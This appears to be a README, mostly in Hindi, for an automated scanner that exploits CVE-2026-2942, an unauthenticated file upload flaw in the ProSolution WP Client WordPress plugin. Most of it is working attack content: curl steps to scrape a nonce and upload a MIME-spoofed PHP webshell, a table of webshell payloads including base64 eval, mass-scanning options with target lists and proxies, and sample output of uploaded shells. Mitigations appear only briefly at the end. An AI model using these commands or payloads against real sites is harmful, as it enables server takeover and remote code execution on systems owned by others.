
प्रोसोल्यूशन WP क्लाइंट (CVE-2026-2942) में बिना प्रमाणीकरण के मनमानी फ़ाइल अपलोड और दूरस्थ कोड निष्पादन के लिए स्वचालित स्कैनर। मल्टी-थ्रेडेड स्कैनिंग, MIME स्पूफिंग, शेल सत्यापन, और पैठ परीक्षण के लिए प्रॉक्सी समर्थन प्रदान करता है।
प्लगइन: prosolution-wp-client
प्रभावित संस्करण: <= 1.9.9
भेद्यता प्रकार: अप्रमाणित मनमाना फ़ाइल अपलोड → रिमोट कोड निष्पादन
जोखिम स्तर: 🔴 गंभीर (CVSS 9.8)
आवश्यकता:[prosolfrontend]शॉर्टकोड युक्त सार्वजनिक पृष्ठ
ProSolution WP Client प्लगइन का proSol_fileUploadProcess AJAX एक्शन,
अपलोड की गई फ़ाइलों के MIME प्रकार की जाँच करता है लेकिन एक्सटेंशन को सत्यापित नहीं करता।
हमलावर .php एक्सटेंशन वाली फ़ाइल को image/jpeg MIME प्रकार के साथ भेजकर
सर्वर पर बिना प्रमाणीकरण के वेबशेल अपलोड कर सकता है।
[prosolfrontend] shortcode sayfası
│
▼
1. prosolObj.nonce → public sayfadan çekilir (kimlik doğrulama gerekmez)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. /wp-content/uploads/prosolwpclient/[random].php olarak kaydedilir
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → Unauthenticated RCE ✓
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक और रक्षात्मक सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। केवल उन प्रणालियों पर उपयोग करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
prosolution-wp-client प्लगइन सक्रिय (संस्करण <= 1.9.9)[prosolfrontend] शॉर्टकोड युक्त एक प्रकाशित WordPress पृष्ठ[prosolfrontend] शॉर्टकोड युक्त किसी भी सार्वजनिक पृष्ठ पर जाएँ और स्रोत कोड से prosolObj.nonce मान निकालें:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
स्रोत कोड में खोजने योग्य संरचना:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
.php फ़ाइल को image/jpeg Content-Type के साथ भेजें:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
अपेक्षित प्रतिक्रिया:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"और"rename_status": true→.phpफ़ाइल सफलतापूर्वक सहेजी गई।
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # Adım 3'teki newfilename
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
अपेक्षित आउटपुट:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ अप्रमाणित RCE प्राप्त हुआ।
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
| पैरामीटर | संक्षिप्त | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
--url | -u | एकल लक्ष्य URL | — |
--list | -l | लक्ष्य सूची फ़ाइल | — |
--threads | -t | थ्रेड संख्या | 10 |
--output | -o | आउटपुट फ़ाइल | uploaded.txt |
--shell-name | — | अपलोड की जाने वाली फ़ाइल का नाम | shell.php |
--shell-type | — | शेल प्रकार | system |
--verify | — | अपलोड के बाद RCE परीक्षण | False |
--verify-cmd | — | सत्यापन कमांड | id |
--proxy | — | प्रॉक्सी URL | — |
--timeout | — | अनुरोध टाइमआउट (सेकंड) | 10 |
| प्रकार | पेलोड | विवरण |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | मूल सिस्टम कमांड |
passthru | <?php passthru($_GET["cmd"]); ?> | कच्चा आउटपुट |
exec | <?php echo exec($_GET["cmd"]); ?> | मौन निष्पादन |
assert | <?php assert($_POST["cmd"]); ?> | POST के साथ eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | बेस64 अस्पष्टीकरण |
full | shell_exec + system + exec fallback | पूर्ण-सुविधा शेल |
WordPress Kök/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell burada
| स्थिति | विवरण |
|---|---|
★ UPLOADED | शेल सफलतापूर्वक अपलोड हुआ |
✓ RCE OK | शेल सत्यापित हुआ, कमांड चला |
- BLOCKED | सर्वर ने PHP एक्सटेंशन को ब्लॉक किया |
~ TIMEOUT | कनेक्शन टाइमआउट |
~ CONN_ERR | कनेक्शन त्रुटि |
! HTTP_ERR | HTTP त्रुटि कोड |
[*] 3 hedef | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
Yeni Ad : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] cmd çıktısı: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Yüklenen shell'ler → uploaded.txt
───────────────────────────────────────────────
| उपाय | कार्यान्वयन |
|---|---|
| PHP निष्पादन अवरोध | uploads/ निर्देशिका में .htaccess जोड़ें |
| प्लगइन अद्यतन | संस्करण > 1.9.9 पर अपग्रेड करें या हटाएँ |
| एक्सटेंशन श्वेतसूची | सर्वर-साइड पर केवल अनुमत एक्सटेंशन |
| MIME सत्यापन | finfo_file() के साथ वास्तविक सामग्री जाँच |
| WAF नियम | .php अपलोड अनुरोधों को ब्लॉक करें |
uploads/ निर्देशिका के लिए .htaccess:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
यह उपकरण और PoC केवल अधिकृत प्रणालियों पर, शैक्षिक उद्देश्यों और पैठ परीक्षण के दायरे में उपयोग के लिए तैयार किया गया है।
अनधिकृत प्रणालियों पर इसका उपयोग तुर्की दंड संहिता के अनुच्छेद 243-245 और अंतर्राष्ट्रीय साइबर अपराध कानूनों के तहत अपराध माना जाता है।
डेवलपर उपकरण के दुरुपयोग से उत्पन्न किसी भी कानूनी जिम्मेदारी को स्वीकार नहीं करता है।
MIT लाइसेंस — केवल शिक्षा और अनुसंधान प्रयोजनों के लिए।